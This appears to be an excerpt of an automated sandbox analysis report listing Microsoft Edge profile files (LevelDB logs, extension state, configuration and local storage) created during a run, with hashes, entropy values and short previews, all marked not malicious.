SHA-256:	F9B4F2DF9391A077FFF22C08997FA16F847A5360B077A7FD993993744A99BCD5
SHA-512:	34CCB888A9B8B063031BE3BE1E077A56D931F5807C37B2DD7F3B0E72EAB29A5C452CB2FF608C84064A0220807ADF75128823992767E63F5B0B7B5E30692487D5
Malicious:	false
Preview:	2024/11/16-17:36:30.574 2314 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/16-17:36:30.627 2314 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.3246200912461115
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RE:C1gAg1zfvs
MD5:	0E4861ED5414E0C40FE9A05F5581D2CD
SHA1:	7D5078CC26A598698FDCC47FBA92B45092516866
SHA-256:	DECEE6F4BB2C9E42AA9F782832166B9B917F0BA91BC63283B0E3F4A0A5C02A5D
SHA-512:	04F95E6C88C6B84CFA9C7226CDB73175B5F4C0A3EE7B64F9549DC4F2A72A1F8E8D77E6A9005A8285AEDE9F35CDE0E3E88AE7AD2F19F5B8CF043038E0FDB458F3
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.198258192580793
Encrypted:	false
SSDEEP:	6:HUJ1q2P923oH+Tcwt8aPrqIFUt8YUJAZmw+YUJokwO923oH+Tcwt8amLJ:Wv4YebL3FUt8c/+c5LYebQJ
MD5:	1ADDB55328A5B5005F52F27C4CB0BF00
SHA1:	636354D850858CF28B9290236E23C133034E8FA8
SHA-256:	A915C9EF8433336CEDD296E0B10EF1343698705833EA2B7448352C6D422A6EAF
SHA-512:	37DF6ECE5972EBF21E39A3C78BD3543858D0268DC021CDC492EC5B0BEBF3218F2B8F474D852EF8996D6E0733381FA69A5E2D3AB46F022812D59B9B169D49C747
Malicious:	false
Preview:	2024/11/16-17:36:26.282 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/16-17:36:26.282 1c54 Recovering log #3.2024/11/16-17:36:26.282 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.198258192580793
Encrypted:	false
SSDEEP:	6:HUJ1q2P923oH+Tcwt8aPrqIFUt8YUJAZmw+YUJokwO923oH+Tcwt8amLJ:Wv4YebL3FUt8c/+c5LYebQJ
MD5:	1ADDB55328A5B5005F52F27C4CB0BF00
SHA1:	636354D850858CF28B9290236E23C133034E8FA8
SHA-256:	A915C9EF8433336CEDD296E0B10EF1343698705833EA2B7448352C6D422A6EAF
SHA-512:	37DF6ECE5972EBF21E39A3C78BD3543858D0268DC021CDC492EC5B0BEBF3218F2B8F474D852EF8996D6E0733381FA69A5E2D3AB46F022812D59B9B169D49C747
Malicious:	false
Preview:	2024/11/16-17:36:26.282 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/16-17:36:26.282 1c54 Recovering log #3.2024/11/16-17:36:26.282 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.220693890333235
Encrypted:	false
SSDEEP:	6:HUJwFtq2P923oH+Tcwt865IFUt8YUJR9Zmw+YUJgPkwO923oH+Tcwt86+ULJ:p7v4Yeb/WFUt8N9/+8P5LYeb/+SJ
MD5:	0DF4DC9FA0CC01872665897FF518FAD2
SHA1:	8A5A718520C0F08F348E302414508C32017CFC1D
SHA-256:	CA7DB4DBF06E41BD78CCDE9400C3934FE54648233A53A3242533B10E5B194C2D
SHA-512:	C1076571F4945C3450CD31102356A0A44B1092A3C9BBA9C17D59EB2FB2FCFDDB8D0BBBF99CD4A3CE2511A70C3FFBF59A9237ADE16AEC450C03EF03E98A0ECB35
Malicious:	false
Preview:	2024/11/16-17:36:26.287 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/16-17:36:26.290 1c54 Recovering log #3.2024/11/16-17:36:26.291 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.220693890333235
Encrypted:	false
SSDEEP:	6:HUJwFtq2P923oH+Tcwt865IFUt8YUJR9Zmw+YUJgPkwO923oH+Tcwt86+ULJ:p7v4Yeb/WFUt8N9/+8P5LYeb/+SJ
MD5:	0DF4DC9FA0CC01872665897FF518FAD2
SHA1:	8A5A718520C0F08F348E302414508C32017CFC1D
SHA-256:	CA7DB4DBF06E41BD78CCDE9400C3934FE54648233A53A3242533B10E5B194C2D
SHA-512:	C1076571F4945C3450CD31102356A0A44B1092A3C9BBA9C17D59EB2FB2FCFDDB8D0BBBF99CD4A3CE2511A70C3FFBF59A9237ADE16AEC450C03EF03E98A0ECB35
Malicious:	false
Preview:	2024/11/16-17:36:26.287 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/16-17:36:26.290 1c54 Recovering log #3.2024/11/16-17:36:26.291 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.130986123431324
Encrypted:	false
SSDEEP:	6:HUJkjWM+q2P923oH+Tcwt8NIFUt8YUJIub1Zmw+YUJIuNWMVkwO923oH+Tcwt8+Q:/L+v4YebpFUt88i/+8qLV5LYebqJ
MD5:	71D3E01D4631232CC81A160019956F60
SHA1:	56BFC8A8C3B6A2A524ABCEA45BD282F4E8E4EAC1
SHA-256:	1769ACEDA40A35D0B09E7BADCB3D40DB9FD388003AC4FF24CB14D0FF117D3855
SHA-512:	AB771E752847B6BB187ECD9EDB36EC4F7F384438B638B7128E8E8BD23D8A7E2A8C496DD6BE08DC347FA63AF04F94683768DE79BABB2BED47A9A16201A17C94E6
Malicious:	false
Preview:	2024/11/16-17:36:27.122 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/16-17:36:27.123 1d1c Recovering log #3.2024/11/16-17:36:27.123 1d1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.130986123431324
Encrypted:	false
SSDEEP:	6:HUJkjWM+q2P923oH+Tcwt8NIFUt8YUJIub1Zmw+YUJIuNWMVkwO923oH+Tcwt8+Q:/L+v4YebpFUt88i/+8qLV5LYebqJ
MD5:	71D3E01D4631232CC81A160019956F60
SHA1:	56BFC8A8C3B6A2A524ABCEA45BD282F4E8E4EAC1
SHA-256:	1769ACEDA40A35D0B09E7BADCB3D40DB9FD388003AC4FF24CB14D0FF117D3855
SHA-512:	AB771E752847B6BB187ECD9EDB36EC4F7F384438B638B7128E8E8BD23D8A7E2A8C496DD6BE08DC347FA63AF04F94683768DE79BABB2BED47A9A16201A17C94E6
Malicious:	false
Preview:	2024/11/16-17:36:27.122 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/16-17:36:27.123 1d1c Recovering log #3.2024/11/16-17:36:27.123 1d1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21838546206064954
Encrypted:	false
SSDEEP:	3:zll5lntFlljq7A/mhWJFuQ3yy7IOWUKallol/dweytllrE9SFcTp4AGbNCV9RUIK:zllI75fOHlol/d0Xi99pEY89
MD5:	6439769557B6A2C42BE7876826C91846
SHA1:	4EEA246C309F48B2582D515BBF666D5C4FD96EC9
SHA-256:	ED325CC8168112D0365C0E4CCD1CA5A73095F034C72E801B935B756AD406F280
SHA-512:	CC2A517B9DA1A985EFA36ED34E6CBACA54DB7AC768F0BB3A91F8408D3E38BCC3F5A8713243765C0F422EEDD8694AF92EE2168DDB9E73FD47BA0BEF16DEDEB08C
Malicious:	false
Preview:	............/.v....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.647817067438668
Encrypted:	false
SSDEEP:	384:aj9P0ycAjlrP/KbtpQkQerE773pLIRKToaA9gam6Iqhf:adgKlrP/se2E7WRKcca9
MD5:	DA969EAC251439FB894D2E594F461474
SHA1:	10F100DB402C0D538055E53D0F5D9B7CD96B4987
SHA-256:	2AE678AA375598BF146EF9F558A649B3DF47476AAC704D657C20E49063A16BC6
SHA-512:	A993264D4F1F049ACCA55EFB89CBD0FBC94F6A8EBAA39B3430407127FEBD8FEEB108DDEE791F274F3BB8746CA05B3D016A4ADE8CBE9D6EB519628451AB5F3E64
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.225812717474185
Encrypted:	false
SSDEEP:	12:nOv4Yeb8rcHEZrELFUt8MX/+MF5LYeb8rcHEZrEZSJ:nM4Yeb8nZrExg8MXXLYeb8nZrEZe
MD5:	CA612978AB20500A849ACD83CFBBD915
SHA1:	92E7ED093727D6EEF066B33F5FA3EE290AF6502F
SHA-256:	D1A41E59BC203653F40FD9571C0A4EBC2BC0F610805B9A7227E81E3D1DC53CC1
SHA-512:	8B1B603907300C7FE59C6077A05895F06AE63DEFA53CC52A27BBA1A4B8394DC0A2AA055DE115CC1B11A3D7FE7EAECA773D3420766ADEFEDD8F99BD21BE2D1E12
Malicious:	false
Preview:	2024/11/16-17:36:30.313 1d20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/16-17:36:30.313 1d20 Recovering log #3.2024/11/16-17:36:30.313 1d20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.225812717474185
Encrypted:	false
SSDEEP:	12:nOv4Yeb8rcHEZrELFUt8MX/+MF5LYeb8rcHEZrEZSJ:nM4Yeb8nZrExg8MXXLYeb8nZrEZe
MD5:	CA612978AB20500A849ACD83CFBBD915
SHA1:	92E7ED093727D6EEF066B33F5FA3EE290AF6502F
SHA-256:	D1A41E59BC203653F40FD9571C0A4EBC2BC0F610805B9A7227E81E3D1DC53CC1
SHA-512:	8B1B603907300C7FE59C6077A05895F06AE63DEFA53CC52A27BBA1A4B8394DC0A2AA055DE115CC1B11A3D7FE7EAECA773D3420766ADEFEDD8F99BD21BE2D1E12
Malicious:	false
Preview:	2024/11/16-17:36:30.313 1d20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/16-17:36:30.313 1d20 Recovering log #3.2024/11/16-17:36:30.313 1d20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1469
Entropy (8bit):	5.672548912948907
Encrypted:	false
SSDEEP:	24:17ZWq+EEvXydcuXZKWKiV0374bMyBqW6UlHOlE3HfhNKgFHHmQ5da2LoEJX:17ZpEvWXZppV0374gyBq/9yHHHxda2Ln
MD5:	C0A5A912E06B5E235FCB56CA0BE14C78
SHA1:	45A2F34E4912B9191A89E87F2716D76280B7BB57
SHA-256:	4FF66469DD9174584976F637F10D38DDB00D1120B99E1EBB97760DBD8068C09F
SHA-512:	4AE5D77E9F33180CA53CE5E33863E337DDB16F1D49CF05B8141C9530F7205F9437A94F0B9DFFF9E1F9766D74A02269819AF2317CF6904158B65D633184994C31
Malicious:	false
Preview:	.....................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1731796596692.._https://ntp.msn.com..MUID!.3A9CD1F63BEE619E376CC4CF3AB960F7.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731796596754,"schedule":[-1,-1,-1,39,30,-1,11],"scheduleFixed":[-1,-1,-1,39,30,-1,11],"simpleSchedule":[44,20,39,26,27,28,15]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731796596651.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241115.411"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Sat Nov 16 2024 17:36:36 GMT-0500 (Eastern Standard Time).!_https://ntp.msn.com..storageTest..B..................META:https://ntp.msn.com.............._https://ntp.msn.com

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.126389514919108
Encrypted:	false
SSDEEP:	6:HUJt4q2P923oH+Tcwt8a2jMGIFUt8YUJHeJZmw+YUJ9z3DkwO923oH+Tcwt8a2jz:S4v4Yeb8EFUt8beJ/+hD5LYeb8bJ
MD5:	DE196A3713EC00B46C3BC59D915803BF
SHA1:	2DE0023C9AD2364E976B2A53A6286514FF20F047
SHA-256:	019DE66C7D8AFE17D2C6618404E62160ACDD006D04E879AE5A5AAC093A8537B1
SHA-512:	B6091112087FAE3CFCAC2BB3E66DDFD1B2F7119F020F9D310838A87BAADB8A7DEBF464F13DB892676AE6FAFD810C0DFD589251066439C4FA855A2B7A0DFB2330
Malicious:	false
Preview:	2024/11/16-17:36:26.626 1cf0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/16-17:36:26.627 1cf0 Recovering log #3.2024/11/16-17:36:26.631 1cf0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.126389514919108
Encrypted:	false
SSDEEP:	6:HUJt4q2P923oH+Tcwt8a2jMGIFUt8YUJHeJZmw+YUJ9z3DkwO923oH+Tcwt8a2jz:S4v4Yeb8EFUt8beJ/+hD5LYeb8bJ
MD5:	DE196A3713EC00B46C3BC59D915803BF
SHA1:	2DE0023C9AD2364E976B2A53A6286514FF20F047
SHA-256:	019DE66C7D8AFE17D2C6618404E62160ACDD006D04E879AE5A5AAC093A8537B1
SHA-512:	B6091112087FAE3CFCAC2BB3E66DDFD1B2F7119F020F9D310838A87BAADB8A7DEBF464F13DB892676AE6FAFD810C0DFD589251066439C4FA855A2B7A0DFB2330
Malicious:	false
Preview:	2024/11/16-17:36:26.626 1cf0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/16-17:36:26.627 1cf0 Recovering log #3.2024/11/16-17:36:26.631 1cf0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0afe72bf-f5e6-4f6c-ae2b-6bdd9e5f9281.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.g